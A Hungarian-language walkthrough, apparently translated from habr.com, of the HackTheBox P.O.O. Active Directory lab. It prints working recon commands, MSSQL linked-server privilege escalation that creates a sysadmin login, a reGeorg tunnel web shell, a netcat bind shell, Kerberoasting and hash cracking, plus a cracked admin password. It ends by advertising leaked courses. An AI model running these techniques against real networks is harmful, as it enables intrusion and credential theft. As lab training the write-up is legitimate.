HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Ebben a cikkben nem csupán egy gép, hanem egy mini-laboratórium működését fogjuk elemezni a platformról. HackTheBox.

Ahogy a leírásban is szerepel, a P.O.O. célja a készségek tesztelése a támadási szakaszok során egy kicsi Active Directory környezetben. A cél a rendelkezésre álló gazdagép kompromittálása, a jogosultságok emelése, és végül az egész domain kompromittálása, miközben 5 zászlót gyűjtünk össze.

A laboratóriumhoz VPN-en keresztül lehet csatlakozni. Ajánlott nem a munkahelyi számítógépről vagy olyan gépről csatlakozni, ahol fontos adatok találhatóak, mivel egy olyan magánhálózatba lépünk, ahol emberek vannak, akik értenek az IT biztonsághoz 🙂

Szervezeti információ
Annak érdekében, hogy értesüljön az új cikkekről, szoftverekről és egyéb információkról, létrehoztam Telegram csatornám és egy csoportot a kérdések megvitatására az I és K biztonság területén. Személyes kéréseket, kérdéseket, javaslatokat és ajánlásokat személyesen fogok megvizsgálni és mindenkinek válaszolok..

Minden információ kizárólag oktatási célokra van bemutatva. A dokumentum szerzője semmilyen felelősséget nem vállal senkinek okozott károkért, amely az e dokumentumban szereplő ismeretek és módszerek alkalmazásából ered.

Bevezetés

Ez az endgame két gépből áll, és 5 zászlót tartalmaz.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Továbbá, egy leírást és egy elérhető gazdagép címet is kapunk.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Kezdjük!

Recon zászló

Ennek a gépnek az IP címe 10.13.38.11, amit hozzáadok a /etc/hosts fájlhoz.
10.13.38.11 poo.htb

Első lépésként a nyitott portokat fogjuk szkennelni. Mivel minden port szkennelése nmap-pel időigényes, először masscan-t fogok használni. Az összes TCP és UDP portot a tun0 interfészen fogjuk szkennelni, 500 csomag/másodperc sebességgel.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Most részletesebb információt fogunk szerezni a portokon futó szolgáltatásokról, ha az -A opcióval indítjuk a szkennelést.

nmap -A poo.htb -p80,1433

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Így van IIS és MSSQL szolgáltatásunk. Ezen kívül megtudjuk a domain és a számítógép valódi DNS nevét. A webkiszolgálón a IIS főoldalával találkozunk.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Nézzük meg a könyvtárakat. Ehhez gobuster-t fogok használni. A paraméterek között megadom a szálak számát 128 (-t), az URL-t (-u), a szótárat (-w) és a kívánt kiterjesztéseket (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Így HTTP hitelesítést találunk az /admin könyvtárban, valamint egy elérhető fájlt a desktop szolgáltatás tárolójában, .DS_Store. A .DS_Store fájlok a mappa felhasználói beállításait tárolják, például a fájlok listáját, az ikonok helyét, a választott háttérképet. Az ilyen fájlok a webfejlesztők által használt webkiszolgáló könyvtárába is kerülhetnek. Így információt nyerhetünk a könyvtár tartalmáról. Ehhez használhatjuk: DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

A könyvtár tartalmát kapjuk meg. Itt a legérdekesebb a /dev könyvtár, ahonnan két ágon keresztül meg tudjuk nézni a forrást és a db fájlokat. Azonban csak az első 6 karakterét tudjuk a fájlok és könyvtárak neveinek, ha a szolgáltatás sebezhető az IIS ShortName ellen. Ennek a sebezhetőségnek a meglétét a következőképpen ellenőrizhetjük: IIS shortname Scanner.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Találunk egy szöveges fájlt, amely "poo_co"-val kezdődik. Mivel nem tudom, mit tegyek, egyszerűen kiválasztottam a könyvtár szótárából az összes szót, ami "co"-val kezdődik.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

És folytatjuk wfuzz segítségével.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Mérét találunk! Megnézzük ezt a fájlt, és eltároljuk a hitelesítő adatokat (a DBNAME paraméter alapján MSSQL-ról van szó).

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Beküldtük a zászlót, és 20%-ot haladunk előre.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Huh flag

Csatlakozunk az MSSQL-hez, én a DBeaver-t használom.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Ebben az adatbázisban nem találunk semmi érdekeset, nézzük meg a SQL Szerkesztőt és ellenőrizzük, hogy milyen felhasználók vannak.

SELECT name FROM master..syslogins;

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Két felhasználónk van. Ellenőrizzük a jogosultságainkat.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Így nincs jogosultságunk. Nézzük meg a kapcsolt szervereket, erről a módszerről részletesen írtam. itt.

SELECT * FROM master..sysservers;

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Itt egy újabb SQL Server-t találunk. Ellenőrizzük a parancsok végrehajtását ezen a szerveren az openquery() segítségével.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

És még a lekérdezések fáját is felépíthetjük.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

A lényeg az, hogy amikor egy lekérdezést végzünk a kapcsolt szerveren, akkor a lekérdezés egy másik felhasználó kontextusában hajtódik végre! Nézzük meg, hogy melyik felhasználó kontextusában dolgozunk a kapcsolt szerveren.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Most nézzük meg, hogy a kapcsolt szerverről érkező lekérdezések milyen kontextusban végződnek nálunk!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Ezért ez a DBO kontextus, amelynek minden jogosultsággal rendelkeznie kell. Ellenőrizzük a jogosultságokat a kapcsolt szerverről érkező lekérdezések esetén.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Ahogy látható, minden jogosultságunk megvan! Hozzunk létre egy saját adminisztrátorunkat. De az openquery-n nem engednek át, csináljuk ezt EXECUTE AT-on keresztül.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Most pedig a új felhasználó adataival csatlakozunk, és figyeljük az új adatbázist, amely a flag.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Adjuk le ezt a flagot, és folytassuk tovább.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

BackTrack flag

Shell-t kapunk MSSQL segítségével, az impacket csomagból a mssqlclient-et használom.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Szükségünk van jelszavakra, és az első, amivel találkoztunk, a weboldal. Így szükségünk van a web szerver konfigurációjára (úgy tűnik, a tűzfal miatt nem tudunk kényelmes shell-t dobni).

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

De a hozzáférés meg van tiltva. Bár a MSSQL-ből olvashatunk fájlokat, csak tudnunk kell, hogy milyen programozási nyelvek vannak beállítva. A MSSQL könyvtárában kiderül, hogy van Python.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Így a web.config fájl olvasása nem okoz problémát.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

A megtalált hitelesítő adatokkal belépünk az /admin felületre, és megszerezzük a flagot.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Foothold flag

Valójában a tűzfal használatának van néhány hátránya, de a hálózati beállításokat átnézve észrevesszük, hogy IPv6 áttörés is használatban van!

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Adjuk hozzá ezt a címet a /etc/hosts fájlhoz.
dead:babe::1001 poo6.htb
Most ismételten átvizsgáljuk a hostot, de már IPv6 protokollal.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

IPv6-on elérhető a WinRM szolgáltatás. Csatlakozunk a megtalált hitelesítő adatokkal.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Az asztalon van egy flag, adjuk le.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

P00ned flag

Felfedező munkát végeztünk a hoston a winpeas során semmi különöset nem találtunk. Ezért úgy döntöttünk, hogy újra keresünk hitelesítő adatokat (erről is írtam cikket). De az összes SPN-t nem tudtam megszerezni a rendszeren keresztül WinRM-en.

setspn.exe -T intranet.poo -Q *
/*

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Futtassuk a parancsot MSSQL-en keresztül.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

A megadott módon megszerezzük a p00_hr és p00_adm felhasználók SPN-jét, ami azt jelenti, hogy ezek sebezhetőek a Kerberoasting támadással szemben. Röviden: meg tudjuk szerezni a jelszavaik hash-ét.

Első lépésként stabil shellt kell kapnunk MSSQL felhasználóként. Mivel korlátozottak a hozzáféréseink, csak a 80-as és 1433-as porton keresztül van kapcsolatunk a hosttal. De van lehetőség a forgalom alagúton keresztüli terelésére a 80-as porton! Ehhez használni fogjuk a következő alkalmazást. Töltsük fel a tunnel.aspx fájlt a webkiszolgáló otthoni könyvtárába — C:inetpubwwwroot.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

De amikor megpróbálunk hozzáférni, 404-es hibát kapunk. Ez azt jelenti, hogy az *.aspx fájlok nem futnak. Ahhoz, hogy a fájlok ezzel a kiterjesztéssel futtathatóak legyenek, telepítenünk kell az ASP.NET 4.5-öt az alábbiak szerint.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Most pedig, amikor a tunnel.aspx-ra hivatkozunk, azt válaszolja, hogy minden készen áll a munkára.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Indítsuk el az alkalmazás kliens részét, amely a forgalom visszaterelésével foglalkozik. Az összes forgalmat a 5432-es portra fogjuk irányítani a szerverre.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Használjuk a proxychains-t, hogy bármilyen alkalmazás forgalmát átirányítsuk a proxy-nk keresztül. Adjunk hozzá ezt a proxy-t a /etc/proxychains.conf konfigurációs fájlhoz.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Most töltsük fel a szerverre a programot netcat, amellyel stabil bind shellt készítünk, és a Invoke-Kerberoast, amellyel végrehajtjuk a Kerberoasting támadást.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Most MSSQL-en keresztül indítjuk a hallgatót.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

És csatlakozunk a proxy-nk keresztül.

proxychains rlwrap nc poo.htb 4321

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Most pedig szerezzük meg a hash-okat.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Ezután ezeket a hash-okat kell átnéznünk. Mivel a rockyou jelszótárban nem voltak ezek a jelszavak, az összes jelszólistát, amelyet a Seclists biztosított, felhasználtam. A visszafejtéshez hashcat-ot használunk.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

És megtaláljuk mindkét jelszót, az elsőt a dutch_passwordlist.txt-ben, a másodikat pedig a Keyboard-Combinations.txt-ben.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Így három felhasználónk van, megyünk a domain vezérlőhöz. Először megtudjuk a címét.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Kiváló, megtudtuk a tartományvezérlő IP-címét. Most nézzük meg az összes tartományfelhasználót és azt, hogy ki közülük az adminisztrátor. Töltsük le a PowerView.ps1 szkriptet az információk megszerzéséhez. Ezután az evil-winrm segítségével csatlakozunk, a -s paraméternél megadva a szkript könyvtárát. Majd egyszerűen feltöltjük a PowerView szkriptet.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Most már minden funkciója elérhető számunkra. A p00_adm felhasználó privilégiumokkal rendelkezik, ezért az ő kontextusában fogunk dolgozni. Hozzunk létre egy PSCredential objektumot ennek a felhasználónak.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User, $Cpass

Most már minden Powershell parancs, amelyhez megadjuk a Creds-t, p00_adm nevében fog futni. Nézzük meg a felhasználók listáját és az AdminCount attribútumot.

Get-NetUser -DomainController dc -Credential $Creds | select name, admincount

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Tehát, a felhasználónk valóban privilégiumokkal rendelkezik. Nézzük meg, hogy mely csoportokban van.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Véglegesen megerősítjük, hogy a felhasználó a tartomány adminisztrátora. Ez jogosultságot ad neki a távoli bejelentkezéshez a tartományvezérlőn. Próbáljunk meg belépni WinRM-en keresztül a tunelünk használatával. Az reGeorg által okozott hibák furcsák voltak, amikor az evil-winrm-et használtuk.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Akkor használjunk egy másikat, ami egyszerűbb, a scriptet a WinRM-hez való csatlakozáshoz. Nyissuk meg és módosítsuk a csatlakozási paramétereket.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Próbáljunk meg csatlakozni, és itt vagyunk a rendszerben.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

De a zászló nincs. Akkor nézzük meg a felhasználót és ellenőrizzük az asztalokat.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Mr3ksnél találjuk meg a zászlót, és a laboratórium 100%-ban el van végezve.

HackTheBox végjáték. A Professional Offensive Operations laboratóriumának végigjárása. Active Directory pentest.

Ezennel véget ért. Visszajelzésként, kérlek, kommentáld, hogy tanultál-e valami újat ebből a cikkből, és hasznosnak találtad-e.

Csatlakozhatsz hozzánk a Telegram. Ott érdekes anyagokat, kiszivárgott kurzusokat és szoftvereket találhatsz. Építsünk egy közösséget, amelyben olyan emberek vannak, akik sok IT területen jártasak, így mindig segíthetünk egymásnak bármilyen IT és IB kérdésben.

Forrás: habr.com

Megbízható hosting vásárlása weboldalak számára, DDoS védelemmel, VPS VDS szerverek. 🔥 Megbízható webtárhely vásárlása DDoS védelemmel, VPS VDS szerverek | ProHoster